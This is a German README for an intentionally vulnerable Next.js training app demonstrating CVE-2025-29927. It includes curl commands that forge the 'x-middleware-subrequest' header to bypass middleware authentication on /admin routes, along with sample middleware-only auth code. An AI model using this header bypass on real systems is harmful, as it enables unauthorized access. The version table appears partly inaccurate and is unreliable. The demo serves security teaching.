
Bildungsdemo von CVE-2025-29927, einer kritischen Next.js-Middleware-Authentifizierungsumgehung. Enthält ein angreifbares Admin-Panel, Proof-of-Concept-Exploit-Befehle und Anleitungen zur Absicherung für Sicherheitsschulungen.
WARNUNG: Diese Anwendung ist absichtlich unsicher. Nur für Bildungs- und autorisierte Sicherheitsforschungszwecke. NICHT auf einem öffentlichen Server bereitstellen.
Diese App demonstriert CVE-2025-29927, eine kritische Authentifizierungs-Bypass-Sicherheitslücke in der Next.js Middleware (CVSS 9.1). Die Anwendung simuliert ein realistisches Admin-Panel eines Unternehmens für die fiktive Firma "Himalaya Tech Pvt. Ltd." – und macht die Auswirkungen des Bypasses visuell deutlich.
Alle gezeigten Mitarbeiterdaten, API-Schlüssel, Datenbank-Zugangsdaten und anderen "sensiblen" Daten sind vollständig fiktiv und simuliert – nur zu Demonstrationszwecken erstellt.
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2025-29927 |
| Schweregrad | Kritisch (CVSS 9.1) |
| Betroffen | Next.js ≤ 14.2.29, Next.js ≤ 15.2.2 |
| Behoben in | Next.js 14.2.30, 15.2.3 |
| Typ | Middleware-Authentifizierungs-Bypass durch HTTP-Header-Manipulation |
Next.js verwendet einen internen HTTP-Header x-middleware-subrequest, um rekursive Middleware-Aufrufe zu verfolgen und Endlosschleifen zu verhindern. In angreifbaren Versionen kann ein Angreifer diesen Header in einer externen Anfrage fälschen. Wenn der Header vorhanden ist und mit der Kennung der Middleware übereinstimmt, überspringt die Next.js-Laufzeit die gesamte Middleware, einschließlich aller darin definierten Authentifizierungslogik.
Jede Anwendung, die sich ausschließlich auf middleware.ts zum Schutz von Routen verlässt (ein häufiges und empfohlenes Next.js-Muster), ist verwundbar. Ein nicht authentifizierter Angreifer kann jede geschützte Seite aufrufen, indem er einfach einen HTTP-Header hinzufügt.
curl -v http://localhost:3000/admin
# → 307 Weiterleitung zu /login
curl -v \
-H "x-middleware-subrequest: middleware" \
http://localhost:3000/admin
# → 200 OK – vollständiges Admin-Dashboard-HTML zurückgegeben, keine Authentifizierung erforderlich
# Admin-Benutzerseite
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/users
# Systemeinstellungen mit "Produktions-Zugangsdaten"
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin/settings
Fügen Sie jeder Anfrage an /admin/* den Request-Header x-middleware-subrequest: middleware hinzu, und die Middleware-Prüfung wird übersprungen.
middleware.ts ist der einzige Schutzmechanismus:
// middleware.ts
export function middleware(request: NextRequest) {
if (pathname.startsWith("/admin")) {
const token = request.cookies.get("auth-token")?.value;
if (!token || token !== "valid-session-xyz123") {
return NextResponse.redirect(loginUrl); // ← diese gesamte Funktion wird übersprungen
}
}
return NextResponse.next();
}
Die Seitenkomponenten selbst (z.B. app/admin/page.tsx) enthalten keine Authentifizierungsprüfungen – absichtlich, um reale Anwendungen nachzubilden, die dem reinen Middleware-Schutzmuster folgen.
npm install
npm run dev
Die App ist unter http://localhost:3000 verfügbar.
*Nur durch Middleware geschützt – durch CVE-2025-29927 umgangen.
[email protected]Admin@2024Diese Anwendung wird nur zu Bildungszwecken bereitgestellt, insbesondere zur Demonstration der realen Auswirkungen von CVE-2025-29927 im Rahmen eines ethischen Sicherheitskurses. Alle Daten (Mitarbeiterdatensätze, API-Schlüssel, Zugangsdaten) sind vollständig fiktiv. Verwenden Sie diese Demo-Anwendung oder die hier demonstrierten Techniken nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
| Route | Authentifizierung erforderlich | Beschreibung |
|---|
/ | Nein | Öffentliche Startseite |
/login | Nein | Login-Formular |
/admin | Ja* | Admin-Dashboard mit sensiblen Daten |
/admin/users | Ja* | Benutzerverwaltung |
/admin/settings | Ja* | Systemeinstellungen und Zugangsdaten |